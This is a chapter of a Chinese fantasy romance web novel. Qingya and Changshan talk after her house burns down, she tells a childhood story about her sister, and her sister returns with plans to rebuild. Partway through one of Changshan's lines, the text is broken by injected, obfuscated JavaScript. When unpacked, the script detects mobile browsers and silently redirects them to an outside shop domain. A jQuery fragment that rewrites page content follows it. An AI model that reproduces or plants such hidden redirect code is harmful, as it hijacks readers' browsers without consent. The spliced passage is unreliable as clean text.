“是啊,”长山道,“除了这幅画像,还有你书柜上的书、一堆绘画手稿,你父母床头的木箱……我和裴浩看救不了火,只好把这些可能重要的东西先搬出来。”
青崖一时无言。
书是父母留下的,床头木箱里是她舍不得丢弃的父母遗物,手稿是她自己多年的心血。
这么说来,除了房子本身,其他很多重要的东西都还在。
比起曾经拥有,更让人欢喜的,是失而复得。
青崖体验了一把大悲之后的大喜,语气明显变软了,道:“你们搬出了那么多东西,怎么不早说?”
害她以为真的什么都没了,好一番哭天抢地。
长山歉然道:“一看到你哭,我们就都慌了手脚,毕竟烧掉的东西比我们保留下来的要更多,你好心好意留我们在你家养伤,我们却没能保护好你最珍爱的房子,实在是对不住……”
青崖道:“这是爹娘和我一起生活过的房子,所以我才珍爱它。那个房子,是我从小长大的家。”
长山点头:“我明白,姑娘珍视的是与父母的记忆,房子不是家,寄托在其中的感情才是。在下以为,这份记忆与怀念,无论发生什么、丢失什么,都没法从你心中夺走。”
青崖小心地把父母画像卷起,抱在怀里。
那个房子她生活了十七年,杂物甚多,要按财物价值排名,书卷画稿都不是最贵重的,衣柜里有许多用料上好做工精良的裙衫,梳妆镜前有几件名贵的珠宝首饰,而危急之时,长山与裴浩准确无误地优先保住了她最珍视的东西。
刹那间,孤独与伤心都有所减轻,青崖再次端详手上的卷轴。长山跑来追她,没挑别的,只挑了这一幅画。
“你怎么知道我最珍爱的就是这幅画?”
长山道:“姑娘把它挂在书房最醒目的位置,自然十分珍爱,而且,我也知道思念父母是怎样一种感觉。”
同样失去父母,长山连一栋房子、一幅可供凭吊的画像也没有,想到这点,青崖的自怜都转变成了同情。此时才发现,长山的发尾都被烧焦了,身上衣物也有好几处火星飞溅灼烧出的破洞。
青崖碰了碰长山额头上的一处擦伤,感动道:“这是冒险从火中搬东西出来时受的伤吧?”
“不是,”长山道,“这是在林子里追你的时候被树枝擦伤的。”
“哦……”青崖更内疚了。
“长山先生,我方才说错了,”她道,“你虽武力不如裴浩,但同样在大火面前替我救出了我最舍不得的东西,还不顾危险来追我,我很感谢你。”
长山佯装难堪道:“就不要重复强调我不如裴浩了吧……”
青崖终于笑了,她一笑,长山如释重负,也跟着扬起嘴角,道:“姑娘武艺绝佳,没想到对狼的威慑力更是非同一般。”
青崖道:“我认得那群狼,它们曾被我打败过,所以不敢惹我。”
“原来如此,”长山点头,“咱们回去吧,令姐一定很担心你。”
提起姐姐,青崖嘴角的笑容消失了,她坐在原地,一点儿也不想起身回去。
“还没与姐姐和好吗?”长山温声问道。
青崖长长地叹出一口气。多日来与姐姐冷战,这一晚又失去房屋,她早有好多话想找人诉说,道:“你就在这里陪我坐坐吧。”
“好。”长山在她旁边的石头上坐下。
“我累了,想靠一会儿。”
“若不嫌弃,靠在我背上吧。”长山调转方向,背对着她,拍了拍肩。
青崖卸掉全身力气,放松地靠到长山背上。
为了让她靠得更舒适,长山往前微微俯了俯身。她半夜惊醒,素面朝天,及腰长发没有约束地散落下来,坐下时,有几缕正好越过长山肩头,垂落在他的胸前。
长山忍不住拨弄了一下那几缕青丝的发梢,问:“你为什么和令姐闹矛盾?”
为什么?她与姐姐的事,有哪一件可以说给长山听,又不用对长山说谎的?
如果能把一切,包括她们的特殊身份都一吐为快就好了。
青崖想了一想,道:“我给你讲一件小事吧,一件与我和我姐姐有关的小事。”
“好。”长山悄悄将将青崖的几缕秀发绕在指尖,满眼柔情。
青崖调整坐姿,让自己在长山背上靠得更加舒服,开始讲道:“我十二岁的时候,有一次背着姐姐偷偷溜出去玩耍,其实也没走太远,就在最近的山村里。我路过一户人家,有个三十多岁的男人在自家院子里生火煮汤喝,他见我路过,就招呼我进门,说看我走累了,要分我一碗汤喝。”
十二岁的时候,她还对各种食物味道都有所好奇,什么都想尝尝,直觉知道男人的友善是假的,还是接过那碗汤,想知道里面有什么蹊跷。反正妖吃了人的普通毒药也没事,她无所畏惧。
“那汤味道很奇怪,带有一股苦味。我喝汤的时候,男人一直瞧我,瞧得我浑身不爽。他说要送我一件漂亮衣裙,让我跟他去屋里,我对衣裙不感兴趣,拒绝了他,他还不死心,总在说话间找各种各样的理由引我跟他去他的屋里,还时不时靠近我嗅闻,一直说我好香,浑身都香,他想抱抱我。”
长山皱起眉头,问:“然后呢?”
“喝下汤没多久,姐姐就找来了。姐姐找来的时候,那个男人正拎着一缕我的头发,放在鼻子下面闻,说我的头发也很香,说他想亲亲我,然后,”青崖顿了顿,“姐姐用火把那个男人的两只手都给烤糊了。”
男人惨叫着在地上打滚的场景,至今令她印象深刻。毫无疑问,若是妖能杀人不遭反噬,那个男人肯定不仅仅是双手被烤。
长山听到这里,低下头,看了一眼自己不安分的手指,忽然之间,少女青丝仿佛变作炽热火焰,他被烫到一般,手指一松,任由那几缕发丝垂落下去,在他眼下轻轻摇晃,再不敢碰。
青崖感觉到他的脊背骤然变得僵硬,笑道:“你放心,我姐姐也不是不讲道理的人,他在烤那男人双手之前还曾问过我愿不愿意被那男人摸头发,我说不愿意,她才把那男人的手给烤焦了。”
长山道:“为什么突然想讲这个故事?”
“想起来了,就随口讲讲,”青崖道,“姐姐关心我保护我,我知道,但我不喜欢她一直把我当小孩来保护,我最近发现她有很多事都不告诉我,故意不让我知道。我本与她相依为命,她这样有所隐瞒,让我觉得很孤独。”
长山道:“姑娘对待我们外来三人可谓友善之至,但同时也对我们是有所隐瞒的吧?”
“为什么这样想?”
“隐居世外的人,一般都有特殊缘由。我相信姑娘对我们有所隐瞒,定然不是出于恶意。所以有些事情不是不愿分享,也不是故意疏远对方,而是总有难以说明的理由。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13677821|144215||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
何况令姐的脾气看起来就是那样,只顾做事,不顾解释,她一定也不是故意让你感到孤独的。”
青崖仰头观望树梢之间的月亮,几乎把头枕在了长山的肩上。
长山继续道:“我以前有个邻家玩伴,我们从小就认识,后来我们都十几岁了,当我想到他的时候,想起的总还是小时候认识的那个小孩子。我想令姐大约也是如此,你不再是小孩这件事,她也需要时间慢慢适应。等她适应了,完全不再管你,那时候你还会舍不得呢。”
“我知道我会舍不得她,可是现在更让我伤心的是,她这样管束着我,居然还说‘我们早晚会分开’,而且她说得那么轻而易举,好像她一点也不会舍不得我,只有我舍不得她。”
长山笑了一下,“你知道还有什么人常说这种话吗?”
“什么人?”
“把孩子当心头肉的父母。父母希望儿女早日独立,有自力更生的本事,所以才会这样说。我不知红鸾姐是在什么样的情况下说出这种话的,常言道,长姐为母,从你们日常相处来看,她绝对是十分在意你的,”长山微微偏头侧对青崖,道:“有时候,能准确传达心意的不是言语,而是行为。”
青崖回想了一下,洲禾来时,姐姐显然不情愿让洲禾说出来意,收下灵岛请帖后,姐姐丝毫没想让她应邀,而是让她以后可以考虑去。这个“以后”,会不会也像姐姐所说“以后告诉你”的那个“以后”一样遥遥无期?
如果一样,那就可以释然了。至于“我们早晚会分开”这种话,其实姐姐催促她修炼时,也曾说过类似的,比如:“我不能时时在你身边,你得有能力保护自己。”
“你很会安慰人嘛,”青崖感到心头被堵着的地方舒畅了一些,语气都变得轻快了,“那我的房子没了,你也安慰安慰我。”
长山道:“房子没了可以再建,如果需要,我愿意留下出一份力,一直帮忙到新房盖好。”
说到房子,青崖还是伤心,“可我只想要和以前一模一样的房子。”
“那就建一座和以前一模一样的。”红鸾的声音从山林树后传来,一袭红衣随声而至。
长山迅速站起,恭谨地向红鸾欠身,仿佛做了什么失礼的事情。
青崖也起身回头。早在故事讲到一半的时候,她就听到了姐姐由远及近的脚步声,后来的话,既是对长山说,也是对姐姐说。
红鸾手里拿着几张纸道:“你看这是什么?”
她接过那几张纸低头一看,是几张不同角度的屋舍草图,虽画工潦草生疏,但原先的木屋什么样,窗在哪,门在哪,长几何,宽几何,各处尺寸都标注得明明白白,就连周围有什么树木景观,也一眼明了。
青崖讶然,哪怕她对自己的房子非常熟悉,究竟宽几何长几何这样精确的数字,她也是不知道的。
“这些尺寸数字是怎么来的?”
“是那哲远与裴浩画的,”红鸾解释,“总算他们还有点用,哲远说因为喜欢这里,想以后也拥有一座这样的房子,所以前日里叫裴浩特意测量过。还有几本他看过却被烧掉的游记,他说他也能默写出来。我明日就去找几个最好的工匠,保证入夏之前就给你把新房子盖好。”
青崖没有任何怨念了,跳起来搂住红鸾,又用那种故意拖长的音调呼唤:“姐姐——”
“放心,”红鸾轻拍她的后背,“有姐姐在。”